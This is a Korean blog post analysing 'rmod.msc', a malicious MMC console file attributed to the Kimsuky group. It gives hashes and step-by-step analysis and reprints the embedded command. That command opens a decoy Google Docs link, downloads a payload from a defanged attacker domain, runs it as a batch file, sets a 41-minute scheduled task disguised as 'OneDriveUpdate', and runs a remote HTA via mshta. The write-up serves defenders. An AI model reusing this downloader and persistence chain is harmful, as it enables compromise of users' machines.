북한 김수키(Kimsuky)에서 만든 악성코드-rmod.msc

해당 악성코드는 MMC(Microsoft Management Console,MMC)은 Windows의 관리 도구들을 통합적으로 실행하고 관리하기 위한 프레임워크 를 악용을 해서 만든 악성코드로 1년 전인가 사용을 했던 방식을 사용하고 있으며 VBS를 사용을 하는 것이 특징입니다.
파일명:rmod.msc
사이즈:1 MB
MD5:63678a326286014bcc69f901e33cadd1
SHA-1:19290ff8b50cb06f869f1a7132a4958218dc67f6
SHA-256:faba007fac1b9ba1f054aa54953fc65fd4603c20f617c7f620de65cb4d4a50c5
해당 악성코드는 실행 시 접근 권한이 없다고 하나…. 아무튼, 실행을 할 수가 없으나 지난 시간에 적은 악성코드 동작 방식과 동일 합니다.

[소프트웨어 팁/보안 및 분석] - 김정은 앵벌이 집단 김수키(Kimsuky)에서 만든 악성코드-internview.msc

김정은 앵벌이 집단 김수키(Kimsuky)에서 만든 악성코드-internview.msc

VBS 악성코드

악성코드 실행시 화면

<Task Type="CommandLine" Command="cmd.exe">
          <String Name="Name" ID="5"/>
          <String Name="Description" ID="11"/>
          <Symbol>
            <Image Name="Small" BinaryRefIndex="6"/>
            <Image Name="Large" BinaryRefIndex="7"/>
          </Symbol>
          <Comm????ectory="" WindowState="Minimized" Params="/c mode 15,1&amp;start explorer &quot;hxxps://docs(.)google(.)com/document/d/1R3zhXXsPPWg3an0aV1SqdjlSC1dM17L2/edit?usp=sharing&amp;ouid=110632654410291203272&amp;rtpof=true&a???d=true&quot;&amp;echo ?????? Next:Set ws = Creat???t(&quot;WScript.S??ll&quot;):Set fs = CreateObject(&quot;Scripting.FileSystemObject&quot;):Set P?st0 = CreateObject(&q??????ml2.xmlhttp&quot;):gpath = ws.????????ntStrings(&quot;%appdata%&quot;) (+) &quot;\Microsoft\sus.gif&quot;:bpath = ws.ExpandEnvironmentStrings(&quot;%appdata%&quot;)(+) &quot;\Microsoft\sus.bat&quot;:If fs.FileExists(gpath) Then:re=fs.m???efile(gpath,bpath):re=ws.run(bpath,0,true):fs.d(e)letefile(bpath):Else:Post0.open &quot;GET&quot;, &quot;hxxs://orientedworld(.)com/wp-content/plugins/healt?-check/pages/gorgon1/d(.)php?na=battmp&quot;,False: Post0.setRequestHeader &quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;:Post0.Send:t0=Post0.responseText:Set f = fs.CreateTextFile(gpath,True):f(.)Write(t0):f.Close:End If:&gt;&quot;C:\Users\Public\Pictures\temp(.)vbs&quot;&amp;schtasks /create /tn OneDriveUpdate /tr &quot;wscript(.)exe /b &quot;C:\Users\Public\Pictures\temp.vbs&quot;&quot; /sc minute /mo 41 /f&amp;start /min mshta hxxps://orientedworld(.)com/wp-content/plugins/health-check/pages/gorgon1/ttt(.)hta"/>
        </Task>
      </Tasks>

악성코드 분석

악성코드 에 포함된 VBS 코드

해당 악성코드 명령은 Windows에서 다운로더(Downloader) 및 속성(Persistence) 확보를 하기 위한 악성코드입니다.
사용자에게 Google Docs 문서를 열어 정상 동작처럼 보이게 하는 것이며
실제 hxxps://orientedworld(.)com/.../d(.)php?na=battmp 에서 악성 페이로드를 다운로드 함
%APPDATA%\Microsoft\sus(.)gif 로 저장->sus.bat으로 이름 변경 후 실행
C:\Users\Public\Pictures\temp(.)vbs 를 만들어 41분마다 자동 실행되는 스케줄러 작업(OneDriveUpdate) 등록함
마지막으로 mshta 를 통해 또 다른 원격 스크립트(ttt(.)hta)를 실행
해당 명령은 사용자의 시스템에 악성코드 다운로드 기능을 하기 위한 악성코드
분석
동작 요약
msxml2.xmlhttp->원격 서버에서 데이터 다운로드
sus(.)gif->다운로드된 파일을 임시로 저장
sus(.)bat->실행용으로 이름 변경 후 바로 실행
schtasks->41분마다 실행되는 지속성 작업 등록
mshta->HTML Application(HTA) 악성코드 실행
Google Docs->사용자를 속이기 위한 미끼 주소
파일 경로
%APPDATA%\Microsoft\sus.gif
%APPDATA%\Microsoft\sus.bat
C:\Users\Public\Pictures\temp.vbs
작업 스케줄러 작업 등록
이름:OneDriveUpdate
주기:41분 간격
악성 도메인
hxxps://orientedworld(.)com/wp-content/plugins/health-check/pages/gorgon1/d(.)php?na=battmp
hxxps://orientedworld(.)com/wp-content/plugins/health-check/pages/gorgon1/ttt(.)hta
입니다. 이런 방식은 1~2년 전에 많이 사용을 하는 방식이었는데. 최근에도 자주 보이는 것 같습니다. 결론 우리의 주적은 북한이다.